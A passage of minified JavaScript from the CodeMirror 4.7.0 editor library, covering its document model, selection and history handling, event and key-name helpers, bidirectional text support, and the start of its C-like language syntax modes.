uf={},vf={};Gf.prototype={chunkSize:function(){return this.lines.length},removeInner:function(a,b){for(var c=a,d=a+b;d>c;++c){var e=this.lines[c];this.height-=e.height,mf(e),tg(e,"delete")}this.lines.splice(a,b)},collapse:function(a){a.push.apply(a,this.lines)},insertInner:function(a,b,c){this.height+=c,this.lines=this.lines.slice(0,a).concat(b).concat(this.lines.slice(a));for(var d=0;d<b.length;++d)b[d].parent=this},iterN:function(a,b,c){for(var d=a+b;d>a;++a)if(c(this.lines[a]))return!0}},Hf.prototype={chunkSize:function(){return this.size},removeInner:function(a,b){this.size-=b;for(var c=0;c<this.children.length;++c){var d=this.children[c],e=d.chunkSize();if(e>a){var f=Math.min(b,e-a),g=d.height;if(d.removeInner(a,f),this.height-=g-d.height,e==f&&(this.children.splice(c--,1),d.parent=null),0==(b-=f))break;a=0}else a-=e}if(this.size-b<25&&(this.children.length>1||!(this.children[0]instanceof Gf))){var h=[];this.collapse(h),this.children=[new Gf(h)],this.children[0].parent=this}},collapse:function(a){for(var b=0;b<this.children.length;++b)this.children[b].collapse(a)},insertInner:function(a,b,c){this.size+=b.length,this.height+=c;for(var d=0;d<this.children.length;++d){var e=this.children[d],f=e.chunkSize();if(f>=a){if(e.insertInner(a,b,c),e.lines&&e.lines.length>50){for(;e.lines.length>50;){var g=e.lines.splice(e.lines.length-25,25),h=new Gf(g);e.height-=h.height,this.children.splice(d+1,0,h),h.parent=this}this.maybeSpill()}break}a-=f}},maybeSpill:function(){if(!(this.children.length<=10)){var a=this;do{var b=a.children.splice(a.children.length-5,5),c=new Hf(b);if(a.parent){a.size-=c.size,a.height-=c.height;var e=Lg(a.parent.children,a);a.parent.children.splice(e+1,0,c)}else{var d=new Hf(a.children);d.parent=a,a.children=[d,c],a=d}c.parent=a.parent}while(a.children.length>10);a.parent.maybeSpill()}},iterN:function(a,b,c){for(var d=0;d<this.children.length;++d){var e=this.children[d],f=e.chunkSize();if(f>a){var g=Math.min(b,f-a);if(e.iterN(a,g,c))return!0;if(0==(b-=g))break;a=0}else a-=f}}};var If=0,Jf=w.Doc=function(a,b,c){if(!(this instanceof Jf))return new Jf(a,b,c);null==c&&(c=0),Hf.call(this,[new Gf([new kf("",null)])]),this.first=c,this.scrollTop=this.scrollLeft=0,this.cantEdit=!1,this.cleanGeneration=1,this.frontier=c;var d=nb(c,0);this.sel=vb(d),this.history=new Wf(null),this.id=++If,this.modeOption=b,"string"==typeof a&&(a=ph(a)),Ff(this,{from:d,to:d,text:a}),Ib(this,vb(d),Bg)};Jf.prototype=Ng(Hf.prototype,{constructor:Jf,iter:function(a,b,c){c?this.iterN(a-this.first,b-a,c):this.iterN(this.first,this.first+this.size,a)},insert:function(a,b){for(var c=0,d=0;d<b.length;++d)c+=b[d].height;this.insertInner(a-this.first,b,c)},remove:function(a,b){this.removeInner(a-this.first,b)},getValue:function(a){var b=Qf(this,this.first,this.first+this.size);return a===!1?b:b.join(a||"\n")},setValue:Nc(function(a){var b=nb(this.first,0),c=this.first+this.size-1;Rd(this,{from:b,to:nb(c,Of(this,c).text.length),text:ph(a),origin:"setValue"},!0),Ib(this,vb(b))}),replaceRange:function(a,b,c,d){b=xb(this,b),c=c?xb(this,c):b,Xd(this,a,b,c,d)},getRange:function(a,b,c){var d=Pf(this,xb(this,a),xb(this,b));return c===!1?d:d.join(c||"\n")},getLine:function(a){var b=this.getLineHandle(a);return b&&b.text},getLineHandle:function(a){return zb(this,a)?Of(this,a):void 0},getLineNumber:function(a){return Sf(a)},getLineHandleVisualStart:function(a){return"number"==typeof a&&(a=Of(this,a)),_e(a)},lineCount:function(){return this.size},firstLine:function(){return this.first},lastLine:function(){return this.first+this.size-1},clipPos:function(a){return xb(this,a)},getCursor:function(a){var c,b=this.sel.primary();return c=null==a||"head"==a?b.head:"anchor"==a?b.anchor:"end"==a||"to"==a||a===!1?b.to():b.from()},listSelections:function(){return this.sel.ranges},somethingSelected:function(){return this.sel.somethingSelected()},setCursor:Nc(function(a,b,c){Fb(this,xb(this,"number"==typeof a?nb(a,b||0):a),null,c)}),setSelection:Nc(function(a,b,c){Fb(this,xb(this,a),xb(this,b||a),c)}),extendSelection:Nc(function(a,b,c){Cb(this,xb(this,a),b&&xb(this,b),c)}),extendSelections:Nc(function(a,b){Db(this,Ab(this,a,b))}),extendSelectionsBy:Nc(function(a,b){Db(this,Mg(this.sel.ranges,a),b)}),setSelections:Nc(function(a,b,c){if(a.length){for(var d=0,e=[];d<a.length;d++)e[d]=new tb(xb(this,a[d].anchor),xb(this,a[d].head));null==b&&(b=Math.min(a.length-1,this.sel.primIndex)),Ib(this,ub(e,b),c)}}),addSelection:Nc(function(a,b,c){var d=this.sel.ranges.slice(0);d.push(new tb(xb(this,a),xb(this,b||a))),Ib(this,ub(d,d.length-1),c)}),getSelection:function(a){for(var c,b=this.sel.ranges,d=0;d<b.length;d++){var e=Pf(this,b[d].from(),b[d].to());c=c?c.concat(e):e}return a===!1?c:c.join(a||"\n")},getSelections:function(a){for(var b=[],c=this.sel.ranges,d=0;d<c.length;d++){var e=Pf(this,c[d].from(),c[d].to());a!==!1&&(e=e.join(a||"\n")),b[d]=e}return b},replaceSelection:function(a,b,c){for(var d=[],e=0;e<this.sel.ranges.length;e++)d[e]=a;this.replaceSelections(d,b,c||"+input")},replaceSelections:Nc(function(a,b,c){for(var d=[],e=this.sel,f=0;f<e.ranges.length;f++){var g=e.ranges[f];d[f]={from:g.from(),to:g.to(),text:ph(a[f]),origin:c}}for(var h=b&&"end"!=b&&Pd(this,d,b),f=d.length-1;f>=0;f--)Rd(this,d[f]);h?Hb(this,h):this.cm&&be(this.cm)}),undo:Nc(function(){Td(this,"undo")}),redo:Nc(function(){Td(this,"redo")}),undoSelection:Nc(function(){Td(this,"undo",!0)}),redoSelection:Nc(function(){Td(this,"redo",!0)}),setExtending:function(a){this.extend=a},getExtending:function(){return this.extend},historySize:function(){for(var a=this.history,b=0,c=0,d=0;d<a.done.length;d++)a.done[d].ranges||++b;for(var d=0;d<a.undone.length;d++)a.undone[d].ranges||++c;return{undo:b,redo:c}},clearHistory:function(){this.history=new Wf(this.history.maxGeneration)},markClean:function(){this.cleanGeneration=this.changeGeneration(!0)},changeGeneration:function(a){return a&&(this.history.lastOp=this.history.lastSelOp=this.history.lastOrigin=null),this.history.generation},isClean:function(a){return this.history.generation==(a||this.cleanGeneration)},getHistory:function(){return{done:fg(this.history.done),undone:fg(this.history.undone)}},setHistory:function(a){var b=this.history=new Wf(this.history.maxGeneration);b.done=fg(a.done.slice(0),null,!0),b.undone=fg(a.undone.slice(0),null,!0)},addLineClass:Nc(function(a,b,c){return ee(this,a,"class",function(a){var d="text"==b?"textClass":"background"==b?"bgClass":"wrapClass";if(a[d]){if(new RegExp("(?:^|\\s)"+c+"(?:$|\\s)").test(a[d]))return!1;a[d]+=" "+c}else a[d]=c;return!0})}),removeLineClass:Nc(function(a,b,c){return ee(this,a,"class",function(a){var d="text"==b?"textClass":"background"==b?"bgClass":"wrapClass",e=a[d];if(!e)return!1;if(null==c)a[d]=null;else{var f=e.match(new RegExp("(?:^|\\s+)"+c+"(?:$|\\s+)"));if(!f)return!1;var g=f.index+f[0].length;a[d]=e.slice(0,f.index)+(f.index&&g!=e.length?" ":"")+e.slice(g)||null}return!0})}),markText:function(a,b,c){return Ce(this,xb(this,a),xb(this,b),c,"range")},setBookmark:function(a,b){var c={replacedWith:b&&(null==b.nodeType?b.widget:b),insertLeft:b&&b.insertLeft,clearWhenEmpty:!1,shared:b&&b.shared};return a=xb(this,a),Ce(this,a,a,c,"bookmark")},findMarksAt:function(a){a=xb(this,a);var b=[],c=Of(this,a.line).markedSpans;if(c)for(var d=0;d<c.length;++d){var e=c[d];(null==e.from||e.from<=a.ch)&&(null==e.to||e.to>=a.ch)&&b.push(e.marker.parent||e.marker)}return b},findMarks:function(a,b,c){a=xb(this,a),b=xb(this,b);var d=[],e=a.line;return this.iter(a.line,b.line+1,function(f){var g=f.markedSpans;if(g)for(var h=0;h<g.length;h++){var i=g[h];e==a.line&&a.ch>i.to||null==i.from&&e!=a.line||e==b.line&&i.from>b.ch||c&&!c(i.marker)||d.push(i.marker.parent||i.marker)}++e}),d},getAllMarks:function(){var a=[];return this.iter(function(b){var c=b.markedSpans;if(c)for(var d=0;d<c.length;++d)null!=c[d].from&&a.push(c[d].marker)}),a},posFromIndex:function(a){var b,c=this.first;return this.iter(function(d){var e=d.text.length+1;return e>a?(b=a,!0):(a-=e,++c,void 0)}),xb(this,nb(c,b))},indexFromPos:function(a){a=xb(this,a);var b=a.ch;return a.line<this.first||a.ch<0?0:(this.iter(this.first,a.line,function(a){b+=a.text.length+1}),b)},copy:function(a){var b=new Jf(Qf(this,this.first,this.first+this.size),this.modeOption,this.first);return b.scrollTop=this.scrollTop,b.scrollLeft=this.scrollLeft,b.sel=this.sel,b.extend=!1,a&&(b.history.undoDepth=this.history.undoDepth,b.setHistory(this.getHistory())),b},linkedDoc:function(a){a||(a={});var b=this.first,c=this.first+this.size;null!=a.from&&a.from>b&&(b=a.from),null!=a.to&&a.to<c&&(c=a.to);var d=new Jf(Qf(this,b,c),a.mode||this.modeOption,b);return a.sharedHist&&(d.history=this.history),(this.linked||(this.linked=[])).push({doc:d,sharedHist:a.sharedHist}),d.linked=[{doc:this,isParent:!0,sharedHist:a.sharedHist}],Ge(d,Fe(this)),d},unlinkDoc:function(a){if(a instanceof w&&(a=a.doc),this.linked)for(var b=0;b<this.linked.length;++b){var c=this.linked[b];if(c.doc==a){this.linked.splice(b,1),a.unlinkDoc(this),He(Fe(this));break}}if(a.history==this.history){var d=[a.id];Mf(a,function(a){d.push(a.id)},!0),a.history=new Wf(null),a.history.done=fg(this.history.done,d),a.history.undone=fg(this.history.undone,d)}},iterLinkedDocs:function(a){Mf(this,a)},getMode:function(){return this.mode},getEditor:function(){return this.cm}}),Jf.prototype.eachLine=Jf.prototype.iter;var Kf="iter insert remove copy getEditor".split(" ");for(var Lf in Jf.prototype)Jf.prototype.hasOwnProperty(Lf)&&Lg(Kf,Lf)<0&&(w.prototype[Lf]=function(a){return function(){return a.apply(this.doc,arguments)}}(Jf.prototype[Lf]));yg(Jf);var jg=w.e_preventDefault=function(a){a.preventDefault?a.preventDefault():a.returnValue=!1},kg=w.e_stopPropagation=function(a){a.stopPropagation?a.stopPropagation():a.cancelBubble=!0},mg=w.e_stop=function(a){jg(a),kg(a)},pg=w.on=function(a,b,c){if(a.addEventListener)a.addEventListener(b,c,!1);else if(a.attachEvent)a.attachEvent("on"+b,c);else{var d=a._handlers||(a._handlers={}),e=d[b]||(d[b]=[]);e.push(c)}},qg=w.off=function(a,b,c){if(a.removeEventListener)a.removeEventListener(b,c,!1);else if(a.detachEvent)a.detachEvent("on"+b,c);else{var d=a._handlers&&a._handlers[b];if(!d)return;for(var e=0;e<d.length;++e)if(d[e]==c){d.splice(e,1);break}}},rg=w.signal=function(a,b){var c=a._handlers&&a._handlers[b];if(c)for(var d=Array.prototype.slice.call(arguments,2),e=0;e<c.length;++e)c[e].apply(null,d)},sg=null,zg=30,Ag=w.Pass={toString:function(){return"CodeMirror.Pass"}},Bg={scroll:!1},Cg={origin:"*mouse"},Dg={origin:"+move"};Eg.prototype.set=function(a,b){clearTimeout(this.id),this.id=setTimeout(b,a)};var Fg=w.countColumn=function(a,b,c,d,e){null==b&&(b=a.search(/[^\s\u00a0]/),-1==b&&(b=a.length));for(var f=d||0,g=e||0;;){var h=a.indexOf("	",f);if(0>h||h>=b)return g+(b-f);g+=h-f,g+=c-g%c,f=h+1}},Hg=[""],Kg=function(a){a.select()};n?Kg=function(a){a.selectionStart=0,a.selectionEnd=a.value.length}:d&&(Kg=function(a){try{a.select()}catch(b){}}),[].indexOf&&(Lg=function(a,b){return a.indexOf(b)}),[].map&&(Mg=function(a,b){return a.map(b)});var Xg,Qg=/[\u00df\u0590-\u05f4\u0600-\u06ff\u3040-\u309f\u30a0-\u30ff\u3400-\u4db5\u4e00-\u9fcc\uac00-\ud7af]/,Rg=w.isWordChar=function(a){return/\w/.test(a)||a>"\x80"&&(a.toUpperCase()!=a.toLowerCase()||Qg.test(a))},Ug=/[\u0300-\u036f\u0483-\u0489\u0591-\u05bd\u05bf\u05c1\u05c2\u05c4\u05c5\u05c7\u0610-\u061a\u064b-\u065e\u0670\u06d6-\u06dc\u06de-\u06e4\u06e7\u06e8\u06ea-\u06ed\u0711\u0730-\u074a\u07a6-\u07b0\u07eb-\u07f3\u0816-\u0819\u081b-\u0823\u0825-\u0827\u0829-\u082d\u0900-\u0902\u093c\u0941-\u0948\u094d\u0951-\u0955\u0962\u0963\u0981\u09bc\u09be\u09c1-\u09c4\u09cd\u09d7\u09e2\u09e3\u0a01\u0a02\u0a3c\u0a41\u0a42\u0a47\u0a48\u0a4b-\u0a4d\u0a51\u0a70\u0a71\u0a75\u0a81\u0a82\u0abc\u0ac1-\u0ac5\u0ac7\u0ac8\u0acd\u0ae2\u0ae3\u0b01\u0b3c\u0b3e\u0b3f\u0b41-\u0b44\u0b4d\u0b56\u0b57\u0b62\u0b63\u0b82\u0bbe\u0bc0\u0bcd\u0bd7\u0c3e-\u0c40\u0c46-\u0c48\u0c4a-\u0c4d\u0c55\u0c56\u0c62\u0c63\u0cbc\u0cbf\u0cc2\u0cc6\u0ccc\u0ccd\u0cd5\u0cd6\u0ce2\u0ce3\u0d3e\u0d41-\u0d44\u0d4d\u0d57\u0d62\u0d63\u0dca\u0dcf\u0dd2-\u0dd4\u0dd6\u0ddf\u0e31\u0e34-\u0e3a\u0e47-\u0e4e\u0eb1\u0eb4-\u0eb9\u0ebb\u0ebc\u0ec8-\u0ecd\u0f18\u0f19\u0f35\u0f37\u0f39\u0f71-\u0f7e\u0f80-\u0f84\u0f86\u0f87\u0f90-\u0f97\u0f99-\u0fbc\u0fc6\u102d-\u1030\u1032-\u1037\u1039\u103a\u103d\u103e\u1058\u1059\u105e-\u1060\u1071-\u1074\u1082\u1085\u1086\u108d\u109d\u135f\u1712-\u1714\u1732-\u1734\u1752\u1753\u1772\u1773\u17b7-\u17bd\u17c6\u17c9-\u17d3\u17dd\u180b-\u180d\u18a9\u1920-\u1922\u1927\u1928\u1932\u1939-\u193b\u1a17\u1a18\u1a56\u1a58-\u1a5e\u1a60\u1a62\u1a65-\u1a6c\u1a73-\u1a7c\u1a7f\u1b00-\u1b03\u1b34\u1b36-\u1b3a\u1b3c\u1b42\u1b6b-\u1b73\u1b80\u1b81\u1ba2-\u1ba5\u1ba8\u1ba9\u1c2c-\u1c33\u1c36\u1c37\u1cd0-\u1cd2\u1cd4-\u1ce0\u1ce2-\u1ce8\u1ced\u1dc0-\u1de6\u1dfd-\u1dff\u200c\u200d\u20d0-\u20f0\u2cef-\u2cf1\u2de0-\u2dff\u302a-\u302f\u3099\u309a\ua66f-\ua672\ua67c\ua67d\ua6f0\ua6f1\ua802\ua806\ua80b\ua825\ua826\ua8c4\ua8e0-\ua8f1\ua926-\ua92d\ua947-\ua951\ua980-\ua982\ua9b3\ua9b6-\ua9b9\ua9bc\uaa29-\uaa2e\uaa31\uaa32\uaa35\uaa36\uaa43\uaa4c\uaab0\uaab2-\uaab4\uaab7\uaab8\uaabe\uaabf\uaac1\uabe5\uabe8\uabed\udc00-\udfff\ufb1e\ufe00-\ufe0f\ufe20-\ufe26\uff9e\uff9f]/;
Xg=document.createRange?function(a,b,c){var d=document.createRange();return d.setEnd(a,c),d.setStart(a,b),d}:function(a,b,c){var d=document.body.createTextRange();return d.moveToElementText(a.parentNode),d.collapse(!0),d.moveEnd("character",c),d.moveStart("character",b),d},d&&11>e&&(_g=function(){try{return document.activeElement}catch(a){return document.body}});var jh,lh,nh,fh=!1,ih=function(){if(d&&9>e)return!1;var a=Wg("div");return"draggable"in a||"dragDrop"in a}(),ph=w.splitLines=3!="\n\nb".split(/\n/).length?function(a){for(var b=0,c=[],d=a.length;d>=b;){var e=a.indexOf("\n",b);-1==e&&(e=a.length);var f=a.slice(b,"\r"==a.charAt(e-1)?e-1:e),g=f.indexOf("\r");-1!=g?(c.push(f.slice(0,g)),b+=g+1):(c.push(f),b=e+1)}return c}:function(a){return a.split(/\r\n?|\n/)},qh=window.getSelection?function(a){try{return a.selectionStart!=a.selectionEnd}catch(b){return!1}}:function(a){try{var b=a.ownerDocument.selection.createRange()}catch(c){}return b&&b.parentElement()==a?0!=b.compareEndPoints("StartToEnd",b):!1},rh=function(){var a=Wg("div");return"oncopy"in a?!0:(a.setAttribute("oncopy","return;"),"function"==typeof a.oncopy)}(),sh=null,uh={3:"Enter",8:"Backspace",9:"Tab",13:"Enter",16:"Shift",17:"Ctrl",18:"Alt",19:"Pause",20:"CapsLock",27:"Esc",32:"Space",33:"PageUp",34:"PageDown",35:"End",36:"Home",37:"Left",38:"Up",39:"Right",40:"Down",44:"PrintScrn",45:"Insert",46:"Delete",59:";",61:"=",91:"Mod",92:"Mod",93:"Mod",107:"=",109:"-",127:"Delete",173:"-",186:";",187:"=",188:",",189:"-",190:".",191:"/",192:"`",219:"[",220:"\\",221:"]",222:"'",63232:"Up",63233:"Down",63234:"Left",63235:"Right",63272:"Delete",63273:"Home",63275:"End",63276:"PageUp",63277:"PageDown",63302:"Insert"};w.keyNames=uh,function(){for(var a=0;10>a;a++)uh[a+48]=uh[a+96]=String(a);for(var a=65;90>=a;a++)uh[a]=String.fromCharCode(a);for(var a=1;12>=a;a++)uh[a+111]=uh[a+63235]="F"+a}();var Eh,Jh=function(){function c(c){return 247>=c?a.charAt(c):c>=1424&&1524>=c?"R":c>=1536&&1773>=c?b.charAt(c-1536):c>=1774&&2220>=c?"r":c>=8192&&8203>=c?"w":8204==c?"b":"L"}function j(a,b,c){this.level=a,this.from=b,this.to=c}var a="bbbbbbbbbtstwsbbbbbbbbbbbbbbssstwNN%%%NNNNNN,N,N1111111111NNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNbbbbbbsbbbbbbbbbbbbbbbbbbbbbbbbbb,N%%%%NNNNLNNNNN%%11NLNNN1LNNNNNLLLLLLLLLLLLLLLLLLLLLLLNLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLN",b="rrrrrrrrrrrr,rNNmmmmmmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmrrrrrrrnnnnnnnnnn%nnrrrmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmmmmmmNmmmm",d=/[\u0590-\u05f4\u0600-\u06ff\u0700-\u08ac]/,e=/[stwN]/,f=/[LRr]/,g=/[Lb1n]/,h=/[1n]/,i="L";return function(a){if(!d.test(a))return!1;for(var m,b=a.length,k=[],l=0;b>l;++l)k.push(m=c(a.charCodeAt(l)));for(var l=0,n=i;b>l;++l){var m=k[l];"m"==m?k[l]=n:n=m}for(var l=0,o=i;b>l;++l){var m=k[l];"1"==m&&"r"==o?k[l]="n":f.test(m)&&(o=m,"r"==m&&(k[l]="R"))}for(var l=1,n=k[0];b-1>l;++l){var m=k[l];"+"==m&&"1"==n&&"1"==k[l+1]?k[l]="1":","!=m||n!=k[l+1]||"1"!=n&&"n"!=n||(k[l]=n),n=m}for(var l=0;b>l;++l){var m=k[l];if(","==m)k[l]="N";else if("%"==m){for(var p=l+1;b>p&&"%"==k[p];++p);for(var q=l&&"!"==k[l-1]||b>p&&"1"==k[p]?"1":"N",r=l;p>r;++r)k[r]=q;l=p-1}}for(var l=0,o=i;b>l;++l){var m=k[l];"L"==o&&"1"==m?k[l]="L":f.test(m)&&(o=m)}for(var l=0;b>l;++l)if(e.test(k[l])){for(var p=l+1;b>p&&e.test(k[p]);++p);for(var s="L"==(l?k[l-1]:i),t="L"==(b>p?k[p]:i),q=s||t?"L":"R",r=l;p>r;++r)k[r]=q;l=p-1}for(var v,u=[],l=0;b>l;)if(g.test(k[l])){var w=l;for(++l;b>l&&g.test(k[l]);++l);u.push(new j(0,w,l))}else{var x=l,y=u.length;for(++l;b>l&&"L"!=k[l];++l);for(var r=x;l>r;)if(h.test(k[r])){r>x&&u.splice(y,0,new j(1,x,r));var z=r;for(++r;l>r&&h.test(k[r]);++r);u.splice(y,0,new j(2,z,r)),x=r}else++r;l>x&&u.splice(y,0,new j(1,x,l))}return 1==u[0].level&&(v=a.match(/^\s+/))&&(u[0].from=v[0].length,u.unshift(new j(0,0,v[0].length))),1==Jg(u).level&&(v=a.match(/\s+$/))&&(Jg(u).to-=v[0].length,u.push(new j(0,b-v[0].length,b))),u[0].level!=Jg(u).level&&u.push(new j(u[0].level,b,b)),u}}();return w.version="4.7.0",w}),function(a){"object"==typeof exports&&"object"==typeof module?a(require("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)}(function(a){"use strict";function b(a){for(var b={},c=a.split(" "),d=0;d<c.length;++d)b[c[d]]=!0;return b}function d(a,b){if(!b.startOfLine)return!1;for(;;){if(!a.skipTo("\\")){a.skipToEnd(),b.tokenize=null;break}if(a.next(),a.eol()){b.tokenize=d;break}}return"meta"}function e(a,b){if(a.backUp(1),a.match(/(R|u8R|uR|UR|LR)/)){var c=a.match(/"([^\s\\()]{0,16})\(/);return c?(b.cpp11RawStringDelim=c[1],b.tokenize=g,g(a,b)):!1}return a.match(/(u8|u|U|L)/)?a.match(/["']/,!1)?"string":!1:(a.next(),!1)}function f(a,b){for(var c;null!=(c=a.next());)if('"'==c&&!a.eat('"')){b.tokenize=null;break}return"string"}function g(a,b){var c=b.cpp11RawStringDelim.replace(/[^\w\s]/g,"\\$&"),d=a.match(new RegExp(".*?\\)"+c+'"'));return d?b.tokenize=null:a.skipToEnd(),"string"}function h(b,c){function e(a){if(a)for(var b in a)a.hasOwnProperty(b)&&d.push(b)}"string"==typeof b&&(b=[b]);var d=[];e(c.keywords),e(c.builtin),e(c.atoms),d.length&&(c.helperType=b[0],a.registerHelper("hintWords",b[0],d));for(var f=0;f<b.length;++f)a.defineMIME(b[f],c)}function i(a,b){for(var c=!1;!a.eol();){if(!c&&a.match('"""')){b.tokenize=null;break}c="\\"!=a.next()&&!c}return"string"}a.defineMode("clike",function(b,c){function p(a,b){var c=a.next();if(k[c]){var d=k[c](a,b);if(d!==!1)return d}if('"'==c||"'"==c)return b.tokenize=q(c),b.tokenize(a,b);if(/[\[\]{}\(\),;\:\.]/.test(c))return o=c,null;if(/\d/.test(c))return a.eatWhile(/[\w\.]/),"number";if("/"==c){if(a.eat("*"))return b.tokenize=r,r(a,b);if(a.eat("/"))return a.skipToEnd(),"comment"}if(n.test(c))return a.eatWhile(n),"operator";a.eatWhile(/[\w\$_\xa1-\uffff]/);var e=a.current();return g.propertyIsEnumerable(e)?(i.propertyIsEnumerable(e)&&(o="newstatement"),"keyword"):h.propertyIsEnumerable(e)?(i.propertyIsEnumerable(e)&&(o="newstatement"),"builtin"):j.propertyIsEnumerable(e)?"atom":"variable"}function q(a){return function(b,c){for(var e,d=!1,f=!1;null!=(e=b.next());){if(e==a&&!d){f=!0;break}d=!d&&"\\"==e}return(f||!d&&!l)&&(c.tokenize=null),"string"}}function r(a,b){for(var d,c=!1;d=a.next();){if("/"==d&&c){b.tokenize=null;break}c="*"==d}return"comment"}function s(a,b,c,d,e){this.indented=a,this.column=b,this.type=c,this.align=d,this.prev=e}function t(a,b,c){var d=a.indented;return a.context&&"statement"==a.context.type&&(d=a.context.indented),a.context=new s(d,b,c,null,a.context)}function u(a){var b=a.context.type;return(")"==b||"]"==b||"}"==b)&&(a.indented=a.context.indented),a.context=a.context.prev}var o,d=b.indentUnit,e=c.statementIndentUnit||d,f=c.dontAlignCalls,g=c.keywords||{},h=c.builtin||{},i=c.blockKeywords||{},j=c.atoms||{},k=c.hooks||{},l=c.multiLineStrings,m=c.indentStatements!==!1,n=/[+\-*&%=<>!?|\/]/;return{startState:function(a){return{tokenize:null,context:new s((a||0)-d,0,"top",!1),indented:0,startOfLine:!0}},token:function(a,b){var c=b.context;if(a.sol()&&(null==c.align&&(c.align=!1),b.indented=a.indentation(),b.startOfLine=!0),a.eatSpace())return null;o=null;var d=(b.tokenize||p)(a,b);if("comment"==d||"meta"==d)return d;if(null==c.align&&(c.align=!0),";"!=o&&":"!=o&&","!=o||"statement"!=c.type)if("{"==o)t(b,a.column(),"}");else if("["==o)t(b,a.column(),"]");else if("("==o)t(b,a.column(),")");else if("}"==o){for(;"statement"==c.type;)c=u(b);for("}"==c.type&&(c=u(b));"statement"==c.type;)c=u(b)}else o==c.type?u(b):m&&(("}"==c.type||"top"==c.type)&&";"!=o||"statement"==c.type&&"newstatement"==o)&&t(b,a.column(),"statement");else u(b);return b.startOfLine=!1,d},indent:function(b,c){if(b.tokenize!=p&&null!=b.tokenize)return a.Pass;var g=b.context,h=c&&c.charAt(0);"statement"==g.type&&"}"==h&&(g=g.prev);var i=h==g.type;return"statement"==g.type?g.indented+("{"==h?0:e):!g.align||f&&")"==g.type?")"!=g.type||i?g.indented+(i?0:d):g.indented+e:g.column+(i?0:1)},electricChars:"{}",blockCommentStart:"/*",blockCommentEnd:"*/",lineComment:"//",fold:"brace"}});var c="auto if break int case long char register continue return default short do sizeof double static else struct entry switch extern typedef float union for unsigned goto while enum void const signed volatile";h(["text/x-csrc","text/x-c","text/x-chdr"],{name:"clike",keywords:b(c),blockKeywords:b("case do else for if switch while struct"),atoms:b("null"),hooks:{"#":d},modeProps:{fold:["brace","include"]}}),h(["text/x-c++src","text/x-c++hdr"],{name:"clike",keywords:b(c+" asm dynamic_cast namespace reinterpret_cast try bool explicit new "+"static_cast typeid catch operator template typename class friend private "+"this using const_cast inline public throw virtual delete mutable protected "+"wchar_t alignas alignof constexpr decltype nullptr noexcept thread_local final "+"static_assert override"),blockKeywords:b("catch class do else finally for if struct switch try while"),atoms:b("true false null"),hooks:{"#":d,u:e,U:e,L:e,R:e},modeProps:{fold:["brace","include"]}}),h("text/x-java",{name:"clike",keywords:b("abstract assert boolean break byte case catch char class const continue default do double else enum extends final finally float for goto if implements import instanceof int interface long native new package private protected public return short static strictfp super switch synchronized this throw throws transient try void volatile while"),blockKeywords:b("catch class do else finally for if switch try while"),atoms:b("true false null"),hooks:{"@":function(a){return a.eatWhile(/[\w\$_]/),"meta"}},modeProps:{fold:["brace","import"]}}),h("text/x-csharp",{name:"clike",keywords:b("abstract as base break case catch checked class const continue default delegate do else enum event explicit extern finally fixed for foreach goto if implicit in interface internal is lock namespace new operator out override params private protected public readonly ref return sealed sizeof stackalloc static struct switch this throw try typeof unchecked unsafe using virtual void volatile while add alias ascending descending dynamic from get global group into join let orderby partial remove select set value var yield"),blockKeywords:b("catch class do else finally for foreach if struct switch try while"),builtin:b("Boolean Byte Char DateTime DateTimeOffset Decimal Double Guid Int16 Int32 Int64 Object SByte Single String TimeSpan UInt16 UInt32 UInt64 bool byte char decimal double short int long object sbyte float string ushort uint ulong"),atoms:b("true false null"),hooks:{"@":function(a,b){return a.eat('"')?(b.tokenize=f,f(a,b)):(a.eatWhile(/[\w\$_]/),"meta")}}}),h("text/x-scala",{name:"clike",keywords:b("abstract case catch class def do else extends false final finally for forSome if implicit import lazy match new null object override package private protected return sealed super this throw trait try trye type val var while with yield _ : = => <- <: <% >: # @ assert assume require print println printf readLine readBoolean readByte readShort readChar readInt readLong readFloat readDouble AnyVal App Application Array BufferedIterator BigDecimal BigInt Char Console Either Enumeration Equiv Error Exception Fractional Function IndexedSeq Integral Iterable Iterator List Map Numeric Nil NotNull Option Ordered Ordering PartialFunction PartialOrdering Product Proxy Range Responder Seq Serializable Set Specializable Stream StringBuilder StringContext Symbol Throwable Traversable TraversableOnce Tuple Unit Vector :: #:: Boolean Byte Character CharSequence Class ClassLoader Cloneable Comparable Compiler Double Exception Float Integer Long Math Number Object Package Pair Process Runtime Runnable SecurityManager Short StackTraceElement StrictMath String StringBuffer System Thread ThreadGroup ThreadLocal Throwable Triple Void"),multiLineStrings:!0,blockKeywords:b("catch class do else finally for forSome if match switch try while"),atoms:b("true false null"),indentStatements:!1,hooks:{"@":function(a){return a.eatWhile(/[\w\$_]/),"meta"},'"':function(a,b){return a.match('""')?(b.tokenize=i,b.tokenize(a,b)):!1}}}),h(["x-shader/x-vertex","x-shader/x-fragment"],{name:"clike",keywords:b("float int bool void vec2 vec3 vec4 ivec2 ivec3 ivec4 bvec2 bvec3 bvec4 mat2 mat3 mat4 sampler1D sampler2D sampler3D samplerCube sampler1DShadow sampler2DShadowconst attribute uniform varying break continue discard return for while do if else struct in out inout"),blockKeywords:b("for while do if else struct"),builtin:b("radians degrees sin cos tan asin acos atan pow exp log exp2 sqrt inversesqrt abs sign floor ceil fract mod min max clamp mix step smootstep length distance dot cross normalize ftransform faceforward reflect refract matrixCompMult lessThan lessThanEqual greaterThan greaterThanEqual equal notEqual any all not texture1D texture1DProj texture1DLod texture1DProjLod texture2D texture2DProj texture2DLod texture2DProjLod texture3D texture3DProj texture3DLod texture3DProjLod textureCube textureCubeLod shadow1D shadow2D shadow1DProj shadow2DProj shadow1DLod shadow2DLod shadow1DProjLod shadow2DProjLod dFdx dFdy fwidth noise1 noise2 noise3 noise4"),atoms:b("true false gl_FragColor gl_SecondaryColor gl_Normal gl_Vertex gl_MultiTexCoord0 gl_MultiTexCoord1 gl_MultiTexCoord2 gl_MultiTexCoord3 gl_MultiTexCoord4 gl_MultiTexCoord5 gl_MultiTexCoord6 gl_MultiTexCoord7 gl_FogCoord gl_Position gl_PointSize 